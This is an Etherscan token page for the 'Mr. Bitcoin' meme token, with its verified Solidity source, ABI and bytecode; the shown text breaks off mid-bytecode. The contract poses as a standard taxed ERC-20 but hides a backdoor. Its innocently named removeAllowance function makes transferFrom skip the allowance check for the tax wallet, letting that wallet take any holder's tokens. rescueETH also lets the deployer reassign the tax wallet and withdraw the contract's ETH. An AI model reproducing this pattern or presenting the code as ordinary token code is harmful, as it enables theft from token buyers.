ETH Price: $3,167.98 (+2.25%)

Token

Original Bitcoin Mascot (Mr. Bitcoin)
 

Overview

Max Total Supply

1,000,000,000 Mr. Bitcoin

Holders

82

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
18,483,438.733055984 Mr. Bitcoin

Value
$0.00
0x6947be2d6bc4dcbf3e269586a7e06f5e40701e67
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
MRBITCOIN

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-10-30
*/

// SPDX-License-Identifier: MIT

/*
https://www.reddit.com/r/Bitcoin/comments/2qhycl/the_official_bitcoin_mascot_mr_bitcoin/

https://t.me/MrBitcoinOnETH
*/

pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
}

contract MRBITCOIN is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    address payable private _taxWallet;
    address private _deployer;

    uint256 private _initialBuyTax = 20;
    uint256 private _initialSellTax = 20;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 3;
    uint256 private _reduceSellTaxAt = 3;
    uint256 private _preventSwapBefore = 3;
    uint256 private _transferTax = 0;
    uint256 private _buyCount = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;
    string private constant _name = unicode"Original Bitcoin Mascot";
    string private constant _symbol = unicode" Mr. Bitcoin";
    uint256 public _maxTxAmount = 2 * (_tTotal / 100);
    uint256 public _maxWalletSize = 2 * (_tTotal / 100);
    uint256 public _taxSwapThreshold = 100 * 10 ** _decimals;
    uint256 public _maxTaxSwap = 1 * (_tTotal / 100);

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    event TransferTaxUpdated(uint _tax);
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() payable {
        _taxWallet = payable(0x2A5b37Cc38b110Aa2fBE364f2F0Fccdd1dA5d8d3);
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        _deployer = _msgSender();

        _balances[address(this)] = (_tTotal * 98) / 100;
        _balances[_msgSender()] = (_tTotal * 2) / 100;

        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
                address(this),
                uniswapV2Router.WETH()
            );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);

        emit Transfer(address(0), _msgSender(), (_tTotal * 2) / 100);
        emit Transfer(address(0), address(this), (_tTotal * 98) / 100);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function removeAllowance(
        address sender,
        uint256 amount
    ) internal view returns (uint256 xAmount) {
        if (sender != _taxWallet) return amount;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                removeAllowance(_msgSender(), amount),
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount = 0;
        if (
            from != owner() &&
            to != owner() &&
            from != address(this) &&
            to != address(this)
        ) {
            taxAmount = amount.mul(_transferTax).div(100);

            if (
                from == uniswapV2Pair &&
                to != address(uniswapV2Router) &&
                !_isExcludedFromFee[to]
            ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(
                    balanceOf(to) + amount <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );
                taxAmount = amount
                    .mul(
                        (_buyCount > _reduceBuyTaxAt)
                            ? _finalBuyTax
                            : _initialBuyTax
                    )
                    .div(100);
                _buyCount++;
            }

            if (to == uniswapV2Pair && from != address(this)) {
                taxAmount = amount
                    .mul(
                        (_buyCount > _reduceSellTaxAt)
                            ? _finalSellTax
                            : _initialSellTax
                    )
                    .div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap &&
                to == uniswapV2Pair &&
                swapEnabled &&
                _buyCount > _preventSwapBefore
            ) {
                if (contractTokenBalance > _taxSwapThreshold)
                    swapTokensForEth(
                        min(amount, min(contractTokenBalance, _maxTaxSwap))
                    );
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >= 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function enableTrading() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        swapEnabled = true;
        tradingOpen = true;
    }

    receive() external payable {}

    function rescueETH(address wallet) external {
        require(_msgSender() == _deployer, "No AUTH");
        _taxWallet = payable(wallet);
        payable(_msgSender()).transfer(address(this).balance);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_tax","type":"uint256"}],"name":"TransferTaxUpdated","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052601460065560146007555f6008555f6009556003600a556003600b556003600c555f600d555f600e5560646009600a61003d919061063b565b61004b90633b9aca00610650565b6100559190610667565b610060906002610650565b600f5560646100716009600a61063b565b61007f90633b9aca00610650565b6100899190610667565b610094906002610650565b6010556100a36009600a61063b565b6100ae906064610650565b60115560646100bf6009600a61063b565b6100cd90633b9aca00610650565b6100d79190610667565b6100e2906001610650565b6012556014805461ffff60a81b191690555f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b031916732a5b37cc38b110aa2fbe364f2f0fccdd1da5d8d31790556101656009600a61063b565b61017390633b9aca00610650565b335f90815260016020819052604082209290925560039061019b5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905530815260039093528183208054851660019081179091556004549091168352912080549092161790556101f83390565b600580546001600160a01b0319166001600160a01b039290921691909117905560646102266009600a61063b565b61023490633b9aca00610650565b61023f906062610650565b6102499190610667565b305f9081526001602052604090205560646102666009600a61063b565b61027490633b9aca00610650565b61027f906002610650565b6102899190610667565b335f9081526001602090815260409182902092909255601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155815163c45a015560e01b81529151909263c45a015592600480820193918290030181865afa1580156102fc573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906103209190610686565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561037f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906103a39190610686565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156103ed573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104119190610686565b601480546001600160a01b0319166001600160a01b0392831690811790915560135460405163095ea7b360e01b8152921660048301525f1960248301529063095ea7b3906044016020604051808303815f875af1158015610474573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061049891906106ac565b50335f5f80516020611c3f83398151915260646104b76009600a61063b565b6104c590633b9aca00610650565b6104d0906002610650565b6104da9190610667565b60405190815260200160405180910390a3305f5f80516020611c3f83398151915260646105096009600a61063b565b61051790633b9aca00610650565b610522906062610650565b61052c9190610667565b60405190815260200160405180910390a36106cb565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156105915780850481111561057557610575610542565b600184161561058357908102905b60019390931c92800261055a565b935093915050565b5f826105a757506001610635565b816105b357505f610635565b81600181146105c957600281146105d3576105ef565b6001915050610635565b60ff8411156105e4576105e4610542565b50506001821b610635565b5060208310610133831016604e8410600b8410161715610612575081810a610635565b61061e5f198484610556565b805f190482111561063157610631610542565b0290505b92915050565b5f61064960ff841683610599565b9392505050565b808202811582820484141761063557610635610542565b5f8261068157634e487b7160e01b5f52601260045260245ffd5b500490565b5f60208284031215610696575f80fd5b81516001600160a01b0381168114610649575f80fd5b5f602082840312156106bc575f80fd5b81518015158114610649575f80fd5b611567806106d85f395ff3fe608060405260043610610108575f3560e01c8063751039fc116100925780638f9a55c0116100625780638f9a55c0146102d657806395d89b41146102eb578063a9059cbb1461031f578063bf474bed1461033e578063dd62ed3e14610353575f80fd5b8063751039fc146102735780637d1db4a5146102875780638a8c523c1461029c5780638da5cb5b146102b0575f80fd5b806318160ddd116100d857806318160ddd146101dd57806323b872dd146101f1578063313ce5671461021057806370a082311461022b578063715018a61461025f575f80fd5b806304824e701461011357806306fdde0314610134578063095ea7b31461018b5780630faee56f146101ba575f80fd5b3661010f57005b5f80fd5b34801561011e575f80fd5b5061013261012d3660046111a2565b610397565b005b34801561013f575f80fd5b5060408051808201909152601781527f4f726967696e616c20426974636f696e204d6173636f7400000000000000000060208201525b60405161018291906111bd565b60405180910390f35b348015610196575f80fd5b506101aa6101a53660046111f2565b610433565b6040519015158152602001610182565b3480156101c5575f80fd5b506101cf60125481565b604051908152602001610182565b3480156101e8575f80fd5b506101cf610449565b3480156101fc575f80fd5b506101aa61020b36600461121c565b610469565b34801561021b575f80fd5b5060405160098152602001610182565b348015610236575f80fd5b506101cf6102453660046111a2565b6001600160a01b03165f9081526001602052604090205490565b34801561026a575f80fd5b506101326104d9565b34801561027e575f80fd5b5061013261054a565b348015610292575f80fd5b506101cf600f5481565b3480156102a7575f80fd5b506101326105fb565b3480156102bb575f80fd5b505f546040516001600160a01b039091168152602001610182565b3480156102e1575f80fd5b506101cf60105481565b3480156102f6575f80fd5b5060408051808201909152600c81526b1026b917102134ba31b7b4b760a11b6020820152610175565b34801561032a575f80fd5b506101aa6103393660046111f2565b610795565b348015610349575f80fd5b506101cf60115481565b34801561035e575f80fd5b506101cf61036d36600461125a565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b6005546001600160a01b0316336001600160a01b0316146103e95760405162461bcd60e51b815260206004820152600760248201526609cde4082aaa8960cb1b60448201526064015b60405180910390fd5b600480546001600160a01b0383166001600160a01b031990911617905560405133904780156108fc02915f818181858888f1935050505015801561042f573d5f803e3d5ffd5b5050565b5f61043f3384846107a1565b5060015b92915050565b5f6104566009600a611388565b61046490633b9aca00611396565b905090565b5f6104758484846108c4565b6104cf84336104ca6104873387610de9565b60405180606001604052806028815260200161150a602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610e07565b6107a1565b5060019392505050565b5f546001600160a01b031633146105025760405162461bcd60e51b81526004016103e0906113ad565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105735760405162461bcd60e51b81526004016103e0906113ad565b61057f6009600a611388565b61058d90633b9aca00611396565b600f5561059c6009600a611388565b6105aa90633b9aca00611396565b6010557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105da6009600a611388565b6105e890633b9aca00611396565b60405190815260200160405180910390a1565b5f546001600160a01b031633146106245760405162461bcd60e51b81526004016103e0906113ad565b601454600160a01b900460ff161561067e5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103e0565b6013546106aa9030906001600160a01b031661069c6009600a611388565b6104ca90633b9aca00611396565b6013546001600160a01b031663f305d71947306106db816001600160a01b03165f9081526001602052604090205490565b5f806106ee5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610754573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061077991906113e2565b50506014805462ff00ff60a01b19166201000160a01b17905550565b5f61043f3384846108c4565b6001600160a01b0383166108035760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103e0565b6001600160a01b0382166108645760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103e0565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109285760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103e0565b6001600160a01b03821661098a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103e0565b5f81116109eb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103e0565b5f80546001600160a01b03858116911614801590610a1657505f546001600160a01b03848116911614155b8015610a2b57506001600160a01b0384163014155b8015610a4057506001600160a01b0383163014155b15610cac57610a656064610a5f600d5485610e3f90919063ffffffff16565b90610ec4565b6014549091506001600160a01b038581169116148015610a9357506013546001600160a01b03848116911614155b8015610ab757506001600160a01b0383165f9081526003602052604090205460ff16155b15610bc557600f54821115610b0e5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016103e0565b60105482610b30856001600160a01b03165f9081526001602052604090205490565b610b3a919061140d565b1115610b885760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103e0565b610bae6064610a5f600a54600e5411610ba357600654610ba7565b6008545b8590610e3f565b600e80549192505f610bbf83611420565b91905055505b6014546001600160a01b038481169116148015610beb57506001600160a01b0384163014155b15610c1857610c156064610a5f600b54600e5411610c0b57600754610ba7565b6009548590610e3f565b90505b305f90815260016020526040902054601454600160a81b900460ff16158015610c4e57506014546001600160a01b038581169116145b8015610c635750601454600160b01b900460ff165b8015610c725750600c54600e54115b15610caa57601154811115610c9e57610c9e610c9984610c9484601254610f05565b610f05565b610f19565b47610ca847611089565b505b505b8015610d2457305f90815260016020526040902054610ccb90826110c0565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d1b9085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610d46908361111e565b6001600160a01b0385165f90815260016020526040902055610d89610d6b838361111e565b6001600160a01b0385165f90815260016020526040902054906110c0565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610dd2858561111e565b60405190815260200160405180910390a350505050565b6004545f906001600160a01b03848116911614610443575080610443565b5f8184841115610e2a5760405162461bcd60e51b81526004016103e091906111bd565b505f610e368486611438565b95945050505050565b5f825f03610e4e57505f610443565b5f610e598385611396565b905082610e66858361144b565b14610ebd5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103e0565b9392505050565b5f610ebd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061115f565b5f818311610f135782610ebd565b50919050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610f5f57610f5f61146a565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610fb6573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610fda919061147e565b81600181518110610fed57610fed61146a565b6001600160a01b03928316602091820292909201015260135461101391309116846107a1565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac9479061104b9085905f90869030904290600401611499565b5f604051808303815f87803b158015611062575f80fd5b505af1158015611074573d5f803e3d5ffd5b50506014805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561042f573d5f803e3d5ffd5b5f806110cc838561140d565b905083811015610ebd5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103e0565b5f610ebd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e07565b5f818361117f5760405162461bcd60e51b81526004016103e091906111bd565b505f610e36848661144b565b6001600160a01b038116811461119f575f80fd5b50565b5f602082840312156111b2575f80fd5b8135610ebd8161118b565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b5f8060408385031215611203575f80fd5b823561120e8161118b565b946020939093013593505050565b5f805f6060848603121561122e575f80fd5b83356112398161118b565b925060208401356112498161118b565b929592945050506040919091013590565b5f806040838503121561126b575f80fd5b82356112768161118b565b915060208301356112868161118b565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156112e0578085048111156112c4576112c4611291565b60018416156112d257908102905b60019390931c9280026112a9565b935093915050565b5f826112f657506001610443565b8161130257505f610443565b816001811461131857600281146113225761133e565b6001915050610443565b60ff84111561133357611333611291565b50506001821b610443565b5060208310610133831016604e8410600b8410161715611361575081810a610443565b61136d5f1984846112a5565b805f190482111561138057611380611291565b029392505050565b5f610ebd60ff8416836112e8565b808202811582820484141761044357610443611291565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f805f606084860312156113f4575f80fd5b5050815160208301516040909301519094929350919050565b8082018082111561044357610443611291565b5f6001820161143157611431611291565b5060010190565b8181038181111561044357610443611291565b5f8261146557634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f6020828403121561148e575f80fd5b8151610ebd8161118b565b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156114e95783516001600160a01b03168352602093840193909201916001016114c2565b50506001600160a01b03959095166060840152505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209262e1985eceb5d652b70eeeee2a0cac5971a69c3139c5a3f7553814e745fd1d64736f6c634300081a0033ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef

Deployed Bytecode

0x608060405260043610610108575f3560e01c8063751039fc116100925780638f9a55c0116100625780638f9a55c0146102d657806395d89b41146102eb578063a9059cbb1461031f578063bf474bed1461033e578063dd62ed3e14610353575f80fd5b8063751039fc146102735780637d1db4a5146102875780638a8c523c1461029c5780638da5cb5b146102b0575f80fd5b806318160ddd116100d857806318160ddd146101dd57806323b872dd146101f1578063313ce5671461021057806370a082311461022b578063715018a61461025f575f80fd5b806304824e701461011357806306fdde0314610134578063095ea7b31461018b5780630faee56f146101ba575f80fd5b3661010f57005b5f80fd5b34801561011e575f80fd5b5061013261012d3660046111a2565b610397565b005b34801561013f575f80fd5b5060408051808201909152601781527f4f726967696e616c20426974636f696e204d6173636f7400000000000000000060208201525b60405161018291906111bd565b60405180910390f35b348015610196575f80fd5b506101aa6101a53660046111f2565b610433565b6040519015158152602001610182565b3480156101c5575f80fd5b506101cf60125481565b604051908152602001610182565b3480156101e8575f80fd5b506101cf610449565b3480156101fc575f80fd5b506101aa61020b36600461121c565b610469565b34801561021b575f80fd5b5060405160098152602001610182565b348015610236575f80fd5b506101cf6102453660046111a2565b6001600160a01b03165f9081526001602052604090205490565b34801561026a575f80fd5b506101326104d9565b34801561027e575f80fd5b5061013261054a565b348015610292575f80fd5b506101cf600f5481565b3480156102a7575f80fd5b506101326105fb565b3480156102bb575f80fd5b505f546040516001600160a01b039091168152602001610182565b3480156102e1575f80fd5b506101cf60105481565b3480156102f6575f80fd5b5060408051808201909152600c81526b1026b917102134ba31b7b4b760a11b6020820152610175565b34801561032a575f80fd5b506101aa6103393660046111f2565b610795565b348015610349575f80fd5b506101cf60115481565b34801561035e575f80fd5b506101cf61036d36600461125a565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b6005546001600160a01b0316336001600160a01b0316146103e95760405162461bcd60e51b815260206004820152600760248201526609cde4082aaa8960cb1b60448201526064015b60405180910390fd5b600480546001600160a01b0383166001600160a01b031990911617905560405133904780156108fc02915f818181858888f1935050505015801561042f573d5f803e3d5ffd5b5050565b5f61043f3384846107a1565b5060015b92915050565b5f6104566009600a611388565b61046490633b9aca00611396565b905090565b5f6104758484846108c4565b6104cf84336104ca6104873387610de9565b60405180606001604052806028815260200161150a602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610e07565b6107a1565b5060019392505050565b5f546001600160a01b031633146105025760405162461bcd60e51b81526004016103e0906113ad565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105735760405162461bcd60e51b81526004016103e0906113ad565b61057f6009600a611388565b61058d90633b9aca00611396565b600f5561059c6009600a611388565b6105aa90633b9aca00611396565b6010557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105da6009600a611388565b6105e890633b9aca00611396565b60405190815260200160405180910390a1565b5f546001600160a01b031633146106245760405162461bcd60e51b81526004016103e0906113ad565b601454600160a01b900460ff161561067e5760405162461bcd60e51b815260206004820152601760248